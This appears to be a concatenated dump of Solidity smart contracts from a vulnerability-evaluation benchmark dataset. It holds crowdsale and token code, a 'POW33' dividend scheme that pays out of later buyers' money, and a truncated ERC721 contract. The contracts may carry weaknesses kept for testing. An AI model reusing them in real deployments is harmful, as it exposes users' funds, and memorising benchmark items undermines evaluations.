function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender,
_beneficiary,
weiAmount,
tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
// optional override
}
function _deliverTokens(address _beneficiary,
uint256 _tokenAmount)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary,
uint256 _tokenAmount)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary,
uint256 _weiAmount)
internal
{
// optional override
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
// File: zeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: zeppelin-solidity/contracts/crowdsale/distribution/FinalizableCrowdsale.sol
contract FinalizableCrowdsale is Ownable, TimedCrowdsale {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to,
uint256 _amount)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary,
uint256 _tokenAmount)
internal
{
// Potentially dangerous assumption about the type of the token.
require(MintableToken(address(token)).mint(_beneficiary, _tokenAmount));
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// File: contracts/RealtyReturnsTokenInterface.sol
contract RealtyReturnsTokenInterface {
function paused() public;
function unpause() public;
function finishMinting() public returns (bool);
}
// File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol
contract PausableToken is StandardToken, Pausable {
function transfer(address _to,
uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from,
address _to,
uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender,
uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(address _spender,
uint _addedValue)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/RealtyReturnsToken.sol
contract RealtyReturnsToken is PausableToken, MintableToken {
string public constant name = "Realty Returns Token";
string public constant symbol = "RRT";
uint8 public constant decimals = 18;
constructor() public {
pause();
}
}
// File: contracts/LockTokenAllocation.sol
contract LockTokenAllocation is Ownable {
using SafeMath for uint;
uint256 public unlockedAt;
uint256 public canSelfDestruct;
uint256 public tokensCreated;
uint256 public allocatedTokens;
uint256 public totalLockTokenAllocation;
mapping (address => uint256) public lockedAllocations;
ERC20 public RR;
constructor
(ERC20 _token,
uint256 _unlockedAt,
uint256 _canSelfDestruct,
uint256 _totalLockTokenAllocation)
public
{
require(_token != address(0));
RR = ERC20(_token);
unlockedAt = _unlockedAt;
canSelfDestruct = _canSelfDestruct;
totalLockTokenAllocation = _totalLockTokenAllocation;
}
function addLockTokenAllocation(address beneficiary, uint256 allocationValue)
external
onlyOwner
returns(bool)
{
require(lockedAllocations[beneficiary] == 0 && beneficiary != address(0)); // can only add once.
allocatedTokens = allocatedTokens.add(allocationValue);
require(allocatedTokens <= totalLockTokenAllocation);
lockedAllocations[beneficiary] = allocationValue;
return true;
}
function unlock() external {
require(RR != address(0));
assert(now >= unlockedAt);
// During first unlock attempt fetch total number of locked tokens.
if (tokensCreated == 0) {
tokensCreated = RR.balanceOf(this);
}
uint256 transferAllocation = lockedAllocations[msg.sender];
lockedAllocations[msg.sender] = 0;
// Will fail if allocation (and therefore toTransfer) is 0.
require(RR.transfer(msg.sender, transferAllocation));
}
function kill() public onlyOwner {
require(now >= canSelfDestruct);
uint256 balance = RR.balanceOf(this);
if (balance > 0) {
RR.transfer(msg.sender, balance);
}
selfdestruct(owner);
}
}
// File: contracts/RealtyReturnsTokenCrowdsale.sol
contract RealtyReturnsTokenCrowdsale is FinalizableCrowdsale, MintedCrowdsale, Pausable {
uint256 constant public TRESURY_SHARE = 240000000e18; // 240 M
uint256 constant public TEAM_SHARE = 120000000e18; // 120 M
uint256 constant public FOUNDERS_SHARE = 120000000e18; // 120 M
uint256 constant public NETWORK_SHARE = 530000000e18; // 530 M
uint256 constant public TOTAL_TOKENS_FOR_CROWDSALE = 190000000e18; // 190 M
uint256 public crowdsaleSoftCap = 1321580e18; // approximately 1.3 M
address public treasuryWallet;
address public teamShare;
address public foundersShare;
address public networkGrowth;
// remainderPurchaser and remainderTokens info saved in the contract
address public remainderPurchaser;
uint256 public remainderAmount;
address public onePercentAddress;
event MintedTokensFor(address indexed investor, uint256 tokensPurchased);
event TokenRateChanged(uint256 previousRate, uint256 newRate);
constructor
(uint256 _openingTime,
uint256 _closingTime,
RealtyReturnsToken _token,
uint256 _rate,
address _wallet,
address _treasuryWallet,
address _onePercentAddress)
public
FinalizableCrowdsale()
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
{
require(_treasuryWallet != address(0));
treasuryWallet = _treasuryWallet;
onePercentAddress = _onePercentAddress;
// NOTE: Ensure token ownership is transferred to crowdsale so it is able to mint tokens
require(RealtyReturnsToken(token).paused());
}
function setRate(uint256 newRate) external onlyOwner {
require(newRate != 0);
emit TokenRateChanged(rate, newRate);
rate = newRate;
}
function setSoftCap(uint256 newCap) external onlyOwner {
require(newCap != 0);
crowdsaleSoftCap = newCap;
}
function mintTokensFor(address beneficiaryAddress, uint256 amountOfTokens)
public
onlyOwner
{
require(beneficiaryAddress != address(0));
require(token.totalSupply().add(amountOfTokens) <= TOTAL_TOKENS_FOR_CROWDSALE);
_deliverTokens(beneficiaryAddress, amountOfTokens);
emit MintedTokensFor(beneficiaryAddress, amountOfTokens);
}
function setTokenDistributionAddresses
(address _teamShare,
address _foundersShare,
address _networkGrowth)
public
onlyOwner
{
// only able to be set once
require(teamShare == address(0x0) && foundersShare == address(0x0) && networkGrowth == address(0x0));
// ensure that the addresses as params to the func are not empty
require(_teamShare != address(0x0) && _foundersShare != address(0x0) && _networkGrowth != address(0x0));
teamShare = _teamShare;
foundersShare = _foundersShare;
networkGrowth = _networkGrowth;
}
// overriding TimeCrowdsale#hasClosed to add cap logic
// @return true if crowdsale event has ended
function hasClosed() public view returns (bool) {
if (token.totalSupply() > crowdsaleSoftCap) {
return true;
}
return super.hasClosed();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
whenNotPaused
{
require(_beneficiary != address(0));
require(token.totalSupply() < TOTAL_TOKENS_FOR_CROWDSALE);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 tokensAmount = _weiAmount.mul(rate);
// remainder logic
if (token.totalSupply().add(tokensAmount) > TOTAL_TOKENS_FOR_CROWDSALE) {
tokensAmount = TOTAL_TOKENS_FOR_CROWDSALE.sub(token.totalSupply());
uint256 _weiAmountLocalScope = tokensAmount.div(rate);
// save info so as to refund purchaser after crowdsale's end
remainderPurchaser = msg.sender;
remainderAmount = _weiAmount.sub(_weiAmountLocalScope);
if (weiRaised > _weiAmount.add(_weiAmountLocalScope))
weiRaised = weiRaised.sub(_weiAmount.add(_weiAmountLocalScope));
}
return tokensAmount;
}
function _forwardFunds() internal {
// 1% of the purchase to save in different wallet
uint256 onePercentValue = msg.value.div(100);
uint256 valueToTransfer = msg.value.sub(onePercentValue);
onePercentAddress.transfer(onePercentValue);
wallet.transfer(valueToTransfer);
}
function finalization() internal {
// This must have been set manually prior to finalize().
require(teamShare != address(0) && foundersShare != address(0) && networkGrowth != address(0));
if (TOTAL_TOKENS_FOR_CROWDSALE > token.totalSupply()) {
uint256 remainingTokens = TOTAL_TOKENS_FOR_CROWDSALE.sub(token.totalSupply());
_deliverTokens(wallet, remainingTokens);
}
// final minting
_deliverTokens(treasuryWallet, TRESURY_SHARE);
_deliverTokens(teamShare, TEAM_SHARE);
_deliverTokens(foundersShare, FOUNDERS_SHARE);
_deliverTokens(networkGrowth, NETWORK_SHARE);
RealtyReturnsToken(token).finishMinting();
RealtyReturnsToken(token).unpause();
super.finalization();
}
}
| 134,596 | 12,710 |
12d47772367b916002508a38ae875599ce9de5f8ea85f2683f02acdb8711442b
| 26,672 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0x2805747d5e3061fe66febbed7ea79834c069e372.sol
| 4,545 | 17,718 |
pragma solidity ^0.4.21;
contract POW33 {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){
require(// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "POW33";
string public symbol = "PW33";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 3;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = true;
function POW33()
public
{
// add administrators here
administrators[0x28d25883e7fbf1b858d6b89dd9749ab205a15d58f26f4ae9b0993c070339e71d] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (we dont want whale premines)
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 209,885 | 12,711 |
7dd30174f57e188a428bbf2d0d627efce02125ebdc466d9d0d514e1031167c20
| 16,630 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x3868eaf38f1319c70c4557c2234cd3e89947c633.sol
| 5,199 | 16,424 |
pragma solidity 0.4.20;
contract ERC20 {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address _from, address _to, uint _value) external returns (bool);
}
contract Ownable {
address public owner = 0x045dCD3419273C8BF7ca88563Fc25725Acf93Ae9;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
Unpause();
}
}
contract ERC721 {
function totalSupply() public view returns (uint total);
function balanceOf(address owner) public view returns (uint balance);
function ownerOf(uint tokenId) external view returns (address owner);
function approve(address to, uint tokenId) external;
function transfer(address to, uint tokenId) public;
function transferFrom(address from, address to, uint tokenId) external;
event Transfer(address indexed from, address indexed to, uint tokenId);
event Approval(address indexed owner, address indexed approved, uint tokenId);
function name() public view returns (string);
function symbol() public view returns (string);
function tokensOfOwner(address owner) external view returns (uint[] tokenIds);
function tokenMetadata(uint tokenId, string preferredTransport) public view returns (string infoUrl);
function supportsInterface(bytes4 contractID) external view returns (bool);
}
contract ERC721Metadata {
function getMetadata(uint tokenId, string preferredTransport) public view returns (bytes32[4] buffer, uint count);
}
contract CryptoversePreorderBonusAssets is Pausable, ERC721 {
struct Item {
ItemType typeId;
ItemModel model;
ItemManufacturer manufacturer;
ItemRarity rarity;
uint createTime;
uint amount;
}
enum ItemType {VRCBox, VCXVault, SaiHead, SaiBody, SaiEarrings, MechHead, MechBody, MechLegs, MechRailgun, MechMachineGun, MechRocketLauncher}
enum ItemModel {NC01, MK1, V1, V1_1, V2_1, M442_1, BG, Q3, TRFL405, BC, DES1, PlasmaS, BD, DRL, Casper, Kilo, Mega, Giga, Tera, Peta, Exa, EA}
enum ItemManufacturer {BTC, VRC, ETH, Satoshipowered}
enum ItemRarity {Common, Uncommon, Rare, Superior, Epic, Legendary, Unique}
function name() public view returns (string){
return "Cryptoverse Preorder Bonus Assets";
}
function symbol() public view returns (string){
return "CPBA";
}
Item[] public items;
mapping(uint => address) public itemIndexToOwner;
mapping(address => uint) public ownershipTokenCount;
mapping(uint => address) public itemIndexToApproved;
function reclaimToken(ERC20 token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
function _transfer(address from, address to, uint tokenId) internal {
ownershipTokenCount[from]--;
ownershipTokenCount[to]++;
itemIndexToOwner[tokenId] = to;
delete itemIndexToApproved[tokenId];
Transfer(from, to, tokenId);
}
event CreateItem(uint id, ItemType typeId, ItemModel model, ItemManufacturer manufacturer, ItemRarity rarity, uint createTime, uint amount, address indexed owner);
function createItem(ItemType typeId, ItemModel model, ItemManufacturer manufacturer, ItemRarity rarity, uint amount, address owner) internal returns (uint) {
require(owner != address(0));
Item memory item = Item(typeId, model, manufacturer, rarity, now, amount);
uint newItemId = items.length;
items.push(item);
CreateItem(newItemId, typeId, model, manufacturer, rarity, now, amount, owner);
ownershipTokenCount[owner]++;
itemIndexToOwner[newItemId] = owner;
return newItemId;
}
function tokensOfOwner(address owner) external view returns (uint[] ownerTokens) {
uint tokenCount = balanceOf(owner);
if (tokenCount == 0) {
return new uint[](0);
} else {
ownerTokens = new uint[](tokenCount);
uint totalItems = totalSupply();
uint resultIndex = 0;
for (uint itemId = 0; itemId < totalItems; itemId++) {
if (itemIndexToOwner[itemId] == owner) {
ownerTokens[resultIndex] = itemId;
resultIndex++;
}
}
return ownerTokens;
}
}
ERC721Metadata public erc721Metadata;
